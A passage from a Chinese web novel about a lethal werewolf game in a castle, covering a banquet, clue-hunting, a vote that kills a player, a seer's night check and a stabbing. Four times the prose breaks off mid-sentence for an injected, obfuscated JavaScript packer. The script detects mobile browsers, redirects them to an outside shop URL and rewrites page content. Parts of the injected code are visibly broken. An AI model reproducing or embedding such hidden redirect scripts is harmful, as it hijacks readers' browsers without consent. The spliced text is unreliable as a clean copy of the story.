仆人只好放弃,将高脚杯放到初与序面前。 付遇盯着酒液轻笑一声:“希望没下毒。” 关应好没有犹豫,拿起酒杯一饮而尽:“怕死就别玩。” “理论上,狼人杀的规则不能在白天杀人。”林志推了推眼镜。 “但规则没说过食物一定安全。”景明垂将全部酒液泼进身旁的银桶。 大部分玩家没碰酒杯,神色警惕。但蒋川却饶有兴趣地看着这一切,仿佛在欣赏一场戏剧。 “烤小羊排配黑松露酱。”仆人的声音如同机械,他推着餐桌送上主菜时,银质餐盘盖下飘出诡异的香气。 掀开餐盖的瞬间,所有人发现,羊排被摆成十字架的形状,酱汁如同干涸的血迹般泼洒在骨头上。 宋睿忍不住皱眉,凑到初与序耳边问:“初小姐,这真的能吃吗?” 初与序没什么表情:“能吃,但我没胃口。吃不吃看你自己。” “那我也不吃了...”宋睿缩回去,重新将餐盖盖好。 餐桌上开始响起零星的交谈,周听开口,声音不大,但能让所有人听见:“诸位知道吗?三楼的钢琴房,琴键会自己下陷。” 赵灵泽补充:“地窖的酒桶里装着不明液体,反正不是酒。”她抬头看向刚刚喝了酒的关应好,“不知道你一会会不会变成丧尸或者其余什么东西。” 关应好:“......” 当仆人送上淋着树莓酱的甜点时,林志却突然发难,他抬眼看向初与序:“初小姐看起来一点都不紧张?该不会是抽到狼牌了吧?” 餐桌瞬间安静,初与序缓缓放下撑着脸的手,露出一个微笑:“林先生这么关心我的身份,难道是在为今晚的刀人做准备?” 景明垂冷笑一声,盯着林志:“狼人通常比好人更急着找同类。” 冬逢初突然说话,声音温和平静:“我更好奇,为什么没人问法官去哪了?” 所有人的目光转向主座,本该坐着法官的位置空空如也,只留下一张对折的纸条。蒋川忽然伸手抢过纸条,夸张地朗读: “午宴结束后,请各位到图书馆集合——那里有你们想要的答案。” 她眨眨眼:“看来甜点时间快结束了呢~” 初与序没有看蒋川手上的纸条,她放下餐叉,银器和瓷盘相撞的清脆声响让所有人的目光都聚集在她身上。 “诸位。”她的声音很轻,但足够让所有人听清,“我们不如坦诚点,这样互相猜忌下去,只会让真正的狼人得利。” 关应好嗤笑一声,指尖转着餐刀:“怎么?你要跳身份了?” “不,我的身份很普通。”初与序迎上对方挑衅的目光,“我要全员存活。” 几乎所有人都睁大眼睛,怀疑自己听错了。赵灵泽不可置信地看向初与序:“初小姐,这可是‘狼人杀’游戏,一定会死人,怎么可能全员存活?” 林志也点头:“别开玩笑了,这么多年《狼人杀》副本一直没有‘全员通关’这个情况。” “诸位不妨相信我一次。”初与序双手交叠撑着下巴,“我提议所有人共享一条今天探索发现的线索,不涉及身份,但必须是可以验证的事实。” 林志扬起眉毛:“我们凭什么相信你?说不定你就是那个狼呢?” “三个理由。”初与序伸出三根手指。 “第一,信息不对称才是狼人最大的武器。如果我们各自藏着线索,相当于帮狼人制造迷雾。” 她放下一根手指:“第二,好人阵营人数占优,公开信息形成的逻辑链会像绞索,慢慢缠住说谎者的脖子。” “第三。”她放下手,目光扫过所有人,“当所有人都被迫说真话时,那个坚持说谎的人,就是明晃晃的靶子。” 景明垂适当接话:“有意思,那我先来。三楼西侧走廊的油画背后,藏着半页被烧毁的日记。” 这个确凿的物理证据让几个玩家瞳孔微缩。宋睿急忙跟上:“我、我在厨房发现地砖下有个暗格!虽然打不开......” 初与序注意到有人交换了眼神。当冬逢初说出“地下室有日记”时,林志突然开口:“东塔楼窗框有新鲜的抓痕,像是...动物的爪印。” 轮到付遇时,她咬了咬嘴唇:“我在洗衣房看到一件带血的内衬。” “哪间洗衣房?”初与序追问。 “就二楼转角。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969515|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “二楼没有洗衣房。”冬逢初突然道,“只有地下室有熨烫室。” 付遇抬头看了两人一眼:“可能是我记错了。” 两人默契地没有再说话,假装什么都不知道,以防引火上身。而初与序更在意的是冬逢初精准的补刀,他刚才的发言,简直像早就准备好配合自己一样。 “午宴结束了。”关应好站起身,“该去图书馆了。” 众人们陆续起身,初与序故意放慢脚步,跟在景明垂身后。当冬逢初从她们身边经过时,似有意似无意地低语:“图书室的东南角书架,第三层。” 说完,他便头也不回地离开,初与序和景明垂交换了一个眼神,开始思考今晚到底要不要查验冬逢初的身份。 走出餐厅时,初与序最后回头望了一眼长桌。银质餐叉在烛光下泛着冷光,某把椅子的扶手上留着五道深深的抓痕。她回过头,轻轻按住口袋里预言家的身份牌。 古堡的图书室位于三楼走廊尽头,沉重的雕花木门虚掩着,门缝中渗出昏黄的烛光。 众人陆续抵达,脚步声在空旷的走廊中回荡。推开门的瞬间,霉味混着羊皮纸的气息扑面而来。 四壁高耸的书架直抵天花板,摆满皮革封面的古籍,许多书脊上刻着陌生的符文。中央是一张巨大的橡木圆桌,桌面上摊开一张泛黄的古堡平面图,边缘有焦痕。 周听指向平面图:“地下一层比图纸上多出一个房间。” “暗室?”冬逢初的指尖悬在地图某处,“或者刑房。” 话落,圆桌中央突然传来齿轮转动的声响,木板向两侧分开,升起一个黑丝绒托盘,上面放着一把刻着数字207的黄铜钥匙,半页烧焦的日记以及十枚不同颜色的西洋棋棋子。 蒋川吹了声口哨:“寻宝游戏?看起来不错。” 没人接话,初与序拿起日记残页,轻声念出尚可辨认的内容:“当钟声敲响七下,真相将在镜中显现...不要相信倒影说的话。” “镜中显现?”她抬头看向图书馆唯一的落地镜,镜面布满裂痕,映出几个扭曲的人影。 关应好拿过钥匙:“207是我的房间号。” 付遇捂嘴轻笑:“说不定是让你今晚死在自己屋里呢。” “你们看。”林志突然指向棋子,“黑白各五枚,正好对应我们的人数。” 初与序想起了第一场副本里棋手的国际象棋。耳边有人问:“好人阵营拿白棋。狼人拿黑棋?还是说......这是某种杀人顺序?” 初与序抬眼,注意到冬逢初始终站在能同时看到镜子和门口的位置;景明垂的右手一直虚按在后腰,那里大概率藏着她从餐厅拿来的餐刀;而宋睿躲在书架阴影里,正偷偷用袖子擦拭一枚白棋。 棋子才是关键。 初与序突然走向棋盘,拿起一枚黑棋重重按在平面图宴会厅的位置。 “咔嗒。” 书架深处传来机关运作的声音。 16. 狼人杀 众人循声看去,东南角书架第三层,即冬逢初刚才提示过的位置,一本《所罗门的小钥匙》自动弹开。书页间夹着一张写着“第三个黎明”的碎纸片。 景明垂挑眉看向冬逢初,用只有两人能听见的声音问:“你早知道这里有东西?” 冬逢初平静地摇头:“只是猜到法官喜欢戏剧性。” 关应好上前一步,伸手刚触碰到碎纸片时,所有蜡烛同时熄灭,图书馆陷入一片黑暗。宋睿吓得大叫一声,立刻躲到冬逢初身后。 所有人原地站定不动,灯光再亮时,他们发现圆桌上的棋子少了三枚黑棋,而207的钥匙插在镜框缝隙里。初与序感觉手心里多了一张字条,她面无表情将纸条藏在袖中,没有任何人发现。 没人再敢上前去动书页里夹着的碎纸片,在图书馆的发现让所有人意识到必须加快行动。所有玩家继续分开行动,探索自己想找的地方。 “我和宋睿去三楼看看。”景明垂小声说,“你呢?” “我去地窖吧。”初与序指着平面图上多出来的房间,“这里可能是一间密室。” 三人分组行动,初与序站在通往地下室的石阶前,潮湿的冷气从下方涌上来,带着铁锈和腐朽的气息。 她低头看了一眼手中从图书馆带出来的古堡平面图,指尖在标记着“地窖密室”的位置轻轻抚过。随后深吸一口气,迈步向下走去。 地窖石阶陡峭,两侧墙壁渗着水珠,火把的光线在潮湿的地面上摇曳不定。初与序放轻脚步,耳朵捕捉着任何细微的声响。 地面上有几枚新鲜的泥脚印,还未干透,看上去有人来过。 四下无人,初与序打开口袋里那张纸条,上面用血写着一句话:“预言家,你只有一次正确查验的机会。” 没等初与序细想,身后突然传来一声极轻的脚步声。初与序绷紧神经,手按向腰间,那里藏着一把从餐厅顺来的银质餐刀: “谁?” 阴影中,一道修长的身影缓步走出。 冬逢初站在台阶中段,火把的光映在他轮廓分明的侧脸上,眼神沉静但不带敌意。 “抱歉,希望没有吓到你。”冬逢初冲初与序微笑,“我想我们可以合作。” 初与序放下手:“你不怕我是狼吗?” 冬逢初轻轻摇头:“我不认为你是狼。地窖的线索比三楼更值得优先确认,如果两人一起,我想会更安全。” 两人对视片刻,初与序终于微微颔首:“一起吧。” 地窖尽头是一扇厚重的铁门,门锁早已锈死,但门框边缘却有一道新鲜的划痕,像是最近被人撬过。初与序蹲下身,指腹擦过金属表面:“有人比我们早到一步。” 冬逢初从口袋里掏出一枚黄铜钥匙,正是图书馆机关里出现的那把。 “207号钥匙。”他把钥匙放到初与序手中,淡淡道。 初与序仔细端详:“锁孔不对,用不了。”她站起身,顺手把钥匙放进冬逢初口袋:“我们不能也撬锁,会惊扰到里面的人。” 两人沉默地站着,在脑海里整理这一天收集到的所有线索。 “真相在镜中显现…...”冬逢初忽然念出了在图书馆看到的那句话。两人不约而同回头,看向地窖角落,那里立着一面蒙尘的落地镜,镜面布满蛛网般的裂痕。 初与序走到镜前,刚想抬手拂去灰尘,被冬逢初制止住。 “我来吧,会弄脏你的手。”他抢先一步伸手擦去灰尘,破碎的镜面映出两人的身影。但诡异的是,镜的初与序手中拿着一把钥匙,而现实中的她并没有。 “幻想?还是提示?”初与序试图伸手触碰镜面,指尖刚碰到裂纹,整面镜子突然震颤起来,裂痕中渗出暗红色的液体。 她立刻后退一步,镜中的“初与序”缓缓勾起嘴角,将钥匙插进了镜子的锁孔里。 “咔嗒。” 现实中的铁门发出一声闷响,缓缓开启,露出前面的密室。 初与序转头看向镜子,镜子里的场景却恢复原样,映照着现实中的自己,一模一样。 两人走进密室,室内只有一张铁桌,但铁桌上什么都没有。 “为什么这里没有东西?”冬逢初伸手想碰那张铁桌,手腕被初与序按住:“嘘。” 头顶传来脚步声,有人正在地窖入口处徘徊。 两人迅速熄灭火把,隐入阴影。接着,地窖入口的光线被一道人影遮挡,是林志。 他举着烛台缓步走下,嘴里低声念叨:“207的钥匙...到底在哪......” 初与序和冬逢初交换了一个眼神,没有说话。林志越走越近,烛光即将照到铁门。冬逢初突然从阴影中走出,手里举着那枚黄铜钥匙:“在找这个?” “我操!”林志吓得差点摔了烛台,脸色瞬间惨白,“你们怎么在这里?” 初与序从另一侧现身:“这话该我们问你吧。” 林志的眼镜片反射着诡谲的光:“图书馆的平面图上不是画了吗,地窖有多余的房间。” “是吗?”冬逢初把玩着钥匙,“那你知道这钥匙的真正用途吗?” 林志咽了咽口水:“当然知道,不然我要这把钥匙干什么?” 初与序突然笑了:“好啊,那给你。”话落,冬逢初再次将钥匙放在初与序手里,她作势把钥匙递过去,却在林志伸手的瞬间缩回:“除非你先告诉我们,关应好和付遇现在在哪。” 林志的表情瞬间扭曲,他摇头:“我不知道他们两人在哪里,我们的身份是互相隐瞒的。” 僵持之际,地窖深处突然传来铁链拖动的声响。三人同时转头。 只见密室的铁桌下,缓缓爬出一个浑身是血的人影。 周听。 他的喉咙被隔开,却诡异地还能发出气音:“快......跑......” 林志尖叫一声,猛地推开两人冲上楼梯。冬逢初想要追赶,却被初与序拦住:“先救人!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969516|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他们跑向周听,却发现那根本不是周听。 血人咧开嘴,露出法官标志性的僵硬笑容:“天黑请闭眼。” “......什么?”初与序后退一步,还想说什么,却感觉一阵眩晕,眼前漆黑。再清醒后,她发现自己仍站在地窖入口,手里攥着平面图。而冬逢初就在身旁。 刚才的一切都是幻象? 冬逢初张开手掌,手掌上铺着一层灰尘,明显是刚刚擦镜子的痕迹。 “不是幻觉。”他低头看向初与序,“如果我猜得没错,这应该是预演。” 初与序看向地窖下面,黑黝黝的什么都看不见。她思索片刻,放弃了再下去看的打算:“算了,现在先不下去,太危险。” 冬逢初沉默片刻,和初与序对视:“......那我去洗手了。” “......去吧。” “晚上见。” 初与序看着冬逢初离去的背影,不知为什么,她总觉得冬逢初的语气可怜巴巴的,像是......不太愿意单独行动。她摇了摇头将这个想法抛之脑后,往另一边走去。 景明垂踏上三楼楼梯时,脚下的木板发出不祥的吱呀声。宋睿跟在她身后,每一步都小心翼翼,像是害怕惊动什么。 “景、景小姐......”他压低声音,“我们真的要进那个房间吗?” 景明垂没回头,只是冷淡地“嗯”了一声。 三楼走廊比二楼更暗,壁灯大多熄灭,只有尽头的一盏油灯还在燃烧,投下摇曳的光影。墙上有干涸的血手印,一路延伸向最里面的那扇门。 门牌号307,黄铜数字被某种深色液体腐蚀,边缘泛着诡异的暗红。景明垂上前推动房门,发现这次的门竟然没有上锁。 霉味混着铁锈味扑面而来,两人走进去。房间中央,一面巨大的落地镜斜立在墙边,镜面布满蛛网般的裂痕。诡异的是,当两人走进房间时,镜中的倒影却延迟了一秒才缓缓抬头。 宋睿的倒影,在对他笑。 “啊——!”宋睿尖叫着后退,撞上身后的木门,斑驳的门板上,一行干涸的血字触目惊心: “不要相信法官。” 景明垂从后腰抽出餐刀,刀在指尖转了个圈。她大步走向镜子,突然挥刀刺向镜面。 “哗啦”一声,裂纹骤然蔓延,但镜中的“景明垂”却毫发无损,反而歪了歪头,嘴唇开合。没有声音,但口型清晰可辨: “第三个黎明时,来找我。” 景明垂冷笑一声,踢开脚边的碎玻璃,看向瘫软在地的宋睿:“只是一面镜子,唯一的作用是扰乱玩家的判断,不会伤害到我们。走吧,快黄昏了。” 当众人重新在大厅汇合时,夕阳光线已经变成暗红色。初与序注意到关应好袖口沾着地窖特有的青苔,赵灵泽的笔记本多出十几页密文,而蒋川哼的歌谣似乎换了歌词。 法官的声音突然从二楼传来:“请各位在宴会厅坐好,七点整开始投票。” 17. 狼人杀 古堡的吊灯将十道人影投在斑驳的墙面上,初与序坐在上午坐过的位置上,目光扫过每个人的脸,静静思索着现在的局势: 按照正常的狼人杀规矩,十人局,大概率是两狼或三狼,带丘比特。现在好人阵营人数多,但狼人阵营胜利的概率大。狼人一定会优先杀神职,必须让他们误判局势。 如果第一晚直接票狼,会快速削弱狼人阵营,但若失败,自己会因为带节奏成为夜间刀杀目标。自己一旦死亡,所有计划全部白费。此方案不可取。 如果票划水平民,能减少好人数量但保留神职,让狼人更难找神。但好人阵营可能因此陷入被动。 如果做身份,假装狼人,可以混淆视听,让狼人不敢轻易刀自己。但可能会被好人误判,导致内讧。 最优解,第一晚票一个无关紧要的平民,百分百保证原计划继续执行。 ……但如果自己没判断错,还有一个办法。 古堡的钟声敲响七下,烛火在长桌上投下摇曳的光影。消失已久的法官从阴影中出现,站在长桌尽头,壁炉的火光映照着他僵硬的脸。他伸手敲了敲桌面:“现在开始发言。” 关应好第一个开口,他靠在椅背上,语气带着可疑的轻松:“我觉得周听很可疑,一直不说话,像是在隐藏着什么。” 付遇拨弄着长发,点点头:“是啊,还有赵灵泽,她下午偷偷去过地窖,鬼鬼祟祟的。” 初与序不动声色地观察着两人的互动。目前不确认他们的身份,但能看出他们在带节奏,想票神职。自己需要引导局势,但又要避免狼人优先刀自己。 景明垂不慌不忙地开口:“二位,你们这么急着推人,该不会是想转移注意力吧?” 付遇面上带笑:“我只是提出怀疑而已,景小姐这么说,难道是因为心虚?” 景明垂没有回话,宋睿缩在座位上小声嘀咕:“我、我决定周听和赵灵泽都不像坏人......”但他的话没人听,也没人信。 “现在信息太少,盲目票‘可疑’玩家风险太大。”冬逢初淡淡开口。他声音不高,但足够让所有人听清。 初与序看了他一眼,心中微动,冬逢初似乎是在帮自己。 “我认为,现在最重要的是避免误伤神职。”初与序开始发言,她直视林志的眼睛:“林先生,你今天除了跟着关应好,还做过什么?” 林志一愣,回答道:“我没做过什么,跟着关应好是认为他分析得有道理。” 景明垂的目光落在他袖口:“哦?那请你解释一下,为什么你袖口有地窖的青苔?” “这?”林志捂住袖口,“这...这是之前不小心蹭的!” “但地窖楼梯的青苔,只有靠近密室的那一端才有。”冬逢初补刀。 林志脸色瞬间苍白,没想到冬逢初会注意这个细节。初与序的语气里带着刻意的疑惑:“林先生,如果你真是好人,为什么对地窖这么熟悉?” 她说完,在桌子下面轻轻踢了宋睿一脚。宋睿反应过来,哆哆嗦嗦地举手:“我、我也看到他鬼鬼祟祟的......” 玩家们陷入矛盾状态,关应好点点头:“确实,林志比周听更可疑。票他吧,免得夜长梦多。” 忽然,赵灵泽开口,声音冷冽:“但是,初小姐和景小姐...你们俩是不是太默契了?” 初与序倒是没料到会有玩家把话题引到自己和景明垂身上,她抬头看向两人,什么也没有说。而付遇也抬起头,目光锐利:“从进古堡开始,你们就一直形影不离,现在又一起针对林志...很难不认人怀疑。” “不、不会吧......”宋睿缩了缩脖子,看向身边两人。 初与序轻轻吸了一口气,迅速调整策略:“如果我们是狼,为什么要引导大家票一个平民?狼人的目标应该是神职,而不是减少好人数量。” “初小姐说得没错。”冬逢初点头,声音带着不容置疑的力度,“狼人没理由这么做。” 付遇还想说话,景明垂掀起眼皮盯着她:“想票我?试试看。” 几人一番辩解确实有道理,让这场讨论陷入僵局。时间一分一秒过去,依旧没人出声。 十分钟后,法官终于开口:“相信各位心中已经有投票人选了,现在投票环节开始。” 说着,他开始轮流给十位玩家分发一张纸条和中性笔:“各位把自己想票出的人名写在纸条上就行。记住,别让别人看到你写下的人名。” 初与序接过白纸和笔,毫不犹豫在纸上写下了“林志”的姓名。 待所有人写好,法官重新收齐纸条,在众人的注视下缓缓宣布:“周听,三票;赵灵泽,两票;林志——” 他抬头看向林志:“五票。” 林志猛地站起来,脸色惨白:“我不是狼!你们——” 话未说完,他的身体突然僵住,随后像断线木偶般栽倒在地。没有流血,没有惨叫,只是瞳孔彻底涣散。 法官微笑,推入黑暗,只留下一句话:“游戏继续,祝各位夜晚玩的愉快。” 初与序面无表情扫了一眼林志的尸体,心中暗暗松了口气。计划成功了,狼人没被削弱,但也没刀到神职。某些人的带节奏行为暴露了他们的狼面。而自己也不会成为狼人的优先目标。 “我记得中午初小姐说过,她要全员存活呢。”蒋川的目光落在初与序身上,神色戏谑。 初与序礼貌地冲她笑了一下:“这才第一天,游戏还没结束,万事皆有可能。” 古堡的钟声敲响了十二下,厚重的夜幕笼罩着整座建筑。 初与序独自坐在204号房间的床边,指尖轻轻摩挲着那张预言家身份牌。窗外风声呜咽,像是无数亡魂在低语。桌上的烛火摇曳,将她的影子投在斑驳的墙面上,拉长成一道孤寂的剪影。 自己只有一次查验机会,该查验谁? 她闭上眼睛,脑海中闪过白天所有人的表现:冬逢初话不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969517|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,但关键时刻总能精准补刀,在暗中帮助自己。付遇身份不明确,应该一直和关应好在一起。关应好强势带节奏,但“他不是狼”这件事也不是没有可能。 她突然睁开眼,指尖在身份牌上轻轻一划。 烛火骤然熄灭,黑暗中,初与序感到一阵冰冷的触感爬上脊背,仿佛有无形的手按在自己肩膀上控制着她。 “预言家,请确认你的选择。”法官的声音在耳边响起,带着诡异的回音。 “......付遇。”初与序冷静地开口。 “哦?”法官语气带着疑惑,“我记得你原本的计划,第一个会查验玩家冬逢初。” 初与序说:“他会主动告诉我他的身份。” 法官轻笑一声,刹那间,眼前的黑暗如潮水般退去,取而代之的是一幅清晰的画面——付遇站在镜子前,嘴角挂着诡异的微笑。她的手指缓缓抚过镜面,镜中的“她”却突然扭曲变形,化作一头双眼血红的狼人,獠牙森白。 “狼人。”法官的声音宣判。 忽然,付遇猛地转过头,她双眼血红,和镜中的狼人一起死死盯着初与序,仿佛能真的看见她。 画面破碎,初与序猛地喘了口气,发现自己仍坐在床边,冷汗浸透了后背。她擦去额角的冷汗,嘴角挂着淡淡的笑。 明天,先解决掉付遇。 她站起身来到门边,伸手试图拧开门把手,却发现门被上了锁。看来这里的规则和普通狼人杀一样,夜晚时平民和神职不可以出门行动。 整座建筑陷入死寂,初与序来到阳台上,思考着明天的计划,夜风卷着潮湿的雾气拂过她的脸颊。月光被乌云切割成碎片,在栏杆上投下阴影。 隔壁阳台的门轻轻打开,冬逢初的身影出现在黑暗中。他单手插兜,另一只手揉着眼睛,像是很疲惫。初与序侧头看冬逢初,月光映在她的瞳孔里,像深不见底的湖水。 “晚上好,初小姐。”冬逢初开门见山道,“我是守卫。” “晚上好。”初与序并不意外,她淡淡道:“预言家。” 冬逢初点了点头,随后轻笑:“难怪你今天带票带得那么熟练。” 夜风卷起初与序的头发,她微微眯眼:“今晚狼人一定会刀神职。” “那...我守你?”冬逢初问。 初与序却摇头:“不,守景明垂,她是猎人。” 冬逢初皱眉刚想提问,初与序直接开口解释:“目前狼人最想杀的不是我,而是景明垂。他们以为景明垂是预言家,我是平民。” “我已经查验了,付遇是狼,另一只狼不难猜到是谁。”她看向冬逢初,“如果你守我,狼人刀景明垂成功,明天起来猎人死了,好人阵营会直接崩盘。我不认为女巫今晚会使用解药或者毒药” 冬逢初盯着她看了几秒,摇摇头终于妥协:“好的,守景小姐。” 初与序转身走向阳台门:“合作愉快。” “合作愉快。” 18. 狼人杀 凌晨两点,古堡陷入死寂。 付遇悄无声息地推开房门,指尖捏着一把从餐厅顺来的银餐刀。走廊漆黑一片,只有月光透过彩绘玻璃,在地板上投下诡谲的暗红色光斑。 她贴着墙前行,在拐角处和另一只狼汇合。 “景明垂的房间是203。”狼压低声音,眼底闪过一丝狠厉,“她和初与序在带节奏,初与序是平民,第一晚先杀她。” 两人无声地接近203号房门,当付遇的手即将碰到门把时,她的动作猛然僵住。 “这......怎么回事?” 厚重的橡木门上,不知何时爬满了密密麻麻的血色藤蔓。那些藤蔓如同活物般蠕动着,表面渗出暗红色液体,将门缝、锁孔彻底封死。 狼人皱眉,伸手去扯藤蔓。 “嘶!” 他猛地缩回手,指尖已被腐蚀出几道血痕。藤蔓被触碰的瞬间,骤然收紧,发出吱嘎声,仿佛在警告入侵者。 付遇脸色难看:“守卫的技能?还是女巫的解药?” 两人又尝试用刀撬、用身体撞开,甚至试图从阳台翻入。可203号房的所有入口都被藤蔓封死,连窗缝都渗出猩红的荆棘。 “该死!”付遇一脚踹在墙上,“现在怎么办?” 狼人阴沉着脸:“先回去。明晚换目标。”他甩手走回自己房间,付遇跟上。他们没注意到,走廊阴影处,一只乌鸦正静静注视着这一切。 当晨光透过云层时,古堡的钟声准时敲了八下。法官站在餐厅中央,微笑着宣布: “昨晚,平安夜。” 九位玩家沉默地坐在各自的座位上面面相觑。晨光透过玻璃照进来,这是一整天内唯一一次能见到阳光的时间。空气中弥漫着咖啡的苦涩和面包的焦香,如果忽略掉一把空椅子的话,这仿佛是一场再正常不过的早餐会。 初与序端起茶杯抿了一口,目光扫过对面四人:关应好的指尖在餐刀上轻轻摩擦;付遇低着头,咬了一口面包;周听靠在椅背上,没有吃任何食物;赵灵泽神色如常,斯文地切着盘中的面包。 付遇忽然转头看向赵灵泽:“你吃煎蛋吗?” 赵灵泽警惕地往外挪了一下:“你给我的煎蛋下毒了?” 话一出口,其余玩家全部停下手中动作看向两人。付遇慢吞吞摇头:“不是啊,我是说你要是不吃就给我,我喜欢吃。” 赵灵泽:“......” 其余玩家:“......” 付遇成功拿到赵灵泽的煎蛋,继续安静吃饭。宋睿看了看赵灵泽,又看了看付遇,哆哆嗦嗦打破沉默:“昨、昨晚为什么没人死......?” 关应好冷笑:“守卫守对人了吧。” 周听放下餐叉:“也可能是狼人根本没有动手。” “为什么不是女巫救了人?”初与序终于出声,声音清晰,“我们不知道女巫和守卫的技能表现,没有办法确认是守卫守护了好人,还是女巫救了好人。” 付遇皱眉,和另一只狼对视一眼,意识到确实是这样。他们无法确认景明垂房门的藤蔓是守卫的技能,还是女巫药水激发的。 景明垂和初与序交换了眼神,点头接话:“我认为,昨天晚上守卫守护了宋睿,或者赵灵泽;而女巫用解药救下了被狼人刀了的玩家。又或者守卫没有用技能,只有女巫用了。” 话落,其余玩家也意识到这一点。除了狼人,没人看到昨晚的走廊,而狼人不可能在这时出声。他们掌握的信息太少,无法确认昨晚的真相。 初与序垂眼没有再说话,放在桌底的手轻轻扯了一下身边冬逢初的衣角,示意他转移话题。 “我更好奇,林志的尸体去哪了。”冬逢初开口,“早晨下楼时,大厅的尸体已经消失不见。我不认为法官会清理玩家尸体。” 餐桌瞬间安静,蒋川笑嘻嘻开口:“说不定他没死透,自己站起来走了呢。” 没人回她这句荒唐的话,初与序放好咖啡杯,声音平静:“今天继续分头找线索吧。” 仆人们收走餐盘,玩家们陆续离开餐厅。初与序站在古堡大厅的拱门下,沉默地思考着: 如果自己猜得没错,第三方丘比特应该是蒋川,而两位狼人现在最想知道的应该是两件事:女巫是否用过解药,用来判断今晚能否刀人,并且刀谁;守卫守护的到底是谁,判断谁才是真正的神职。 两个狼人,其中的付遇是老玩家,他们必然清楚,首夜刀人失败,大概率是守卫用了技能。而女巫的解药尚未使用,而第二夜刀人必死。自己必须制造“女巫已用药”的假象,让狼人不敢轻易动刀。 刚刚在餐桌上的一番话已经让两位狼人开始动摇,但远远不够,还需要再做点什么。初与序直起身,独自一人往地下一层走去。 古堡的焚化炉间位于地下一层,厚重的铁门隔绝了大部分光线,只有墙壁上几盏煤油灯摇曳着昏黄的火光,初与序只能闻到焦炭和药草燃烧后的刺鼻气味。 铁门在身后重重合上,发出一声沉闷的巨响。初与序的手在门把手上停留了一秒,确认它已经锁好。随后走向焚化炉,炉膛内的余温仍未散尽,暗红色的火光在护栏后若隐若现。 她停下脚步,再次环顾四周,确认一时半会没人后,才从口袋里掏出一个空瓶。那是从女巫房间里拿来的解药瓶,瓶底还残留着几滴紫色药液。 初与序深吸一口气,用身体遮住焚化炉,在确认不会有人看到自己手中物品时,将瓶子举到火上,停顿了一秒,将空瓶丢向焚化炉的火焰。 就在这一刻,焚化炉间的铁门被猛地撞开,金属撞击墙壁的声音在封闭空间内震耳欲聋。初与序感到一阵劲风从背后袭来。她本能地向侧面闪避,但已经晚了。 一道银光闪过,冰冷的金属刺入她的左侧腹部,剧烈的疼痛如同电流般瞬间从伤口蔓延至全身。她闷哼一声,踉跄着后退几步,后背撞在焚化炉的金属外壳上,灼热感透过衣物灼烧着她的皮肤。 袭击者全身笼罩在黑色斗篷中,戴着帽子和口罩,只露出一双充满杀意的眼睛。他手中握着一把细长的匕首,刀刃上已经沾满了初与序的鲜血。他的目光扫过焚化炉的投料口,那里火焰正旺,任何投入的物品都会在瞬间化为灰烬。 就在这一瞬间的风神,初与序猛地抬腿踢向对方手腕,匕首当啷一声掉在地上。 但袭击者的反应极快,在匕首落地前就用另一只手接住了它。同时一个箭步上前,刀刃再次刺向初与序,这次是冲着她的喉咙而来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15969518|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>初与序勉强侧头避开致命一击,但刀刃还是划破了她的颈部,留下一道血痕。她借势和袭击者拉开距离,声音因失血而变得断断续续:“你是狼人。我知道你是谁…白天不能杀人。” 两人在狭窄的焚化炉间对峙,血腥味混合着焚烧物的焦味充斥在空气中。初与序感到一阵眩晕,失血开始影响她的判断力。 “你刚才扔进去的解药瓶是空的?”袭击者眼神阴鸷,“为什么?你是女巫?” 初与序没有回答,只是低低地咳嗽了几声,血丝从唇角溢出。袭击者盯着她的脸,试图从她的表情里找出破绽,但她的眼神依旧深不见底。 “你猜。”初与序背靠着墙,面无表情抬眼盯着对方。 袭击者的耐心耗尽,他甩了甩匕首,鲜血喷溅在焚化炉的铁壁上,随后重新收起:“无所谓,反正今天你必须死。” 初与序的身体顺着墙壁滑落,意识开始模糊。失血让她的视线逐渐变暗,耳边只剩下自己微弱的心跳和袭击者离去的脚步声。 她闭上眼睛,最后一刻,她似乎听见了焚化炉外很多急促的脚步声。 “初与序!” 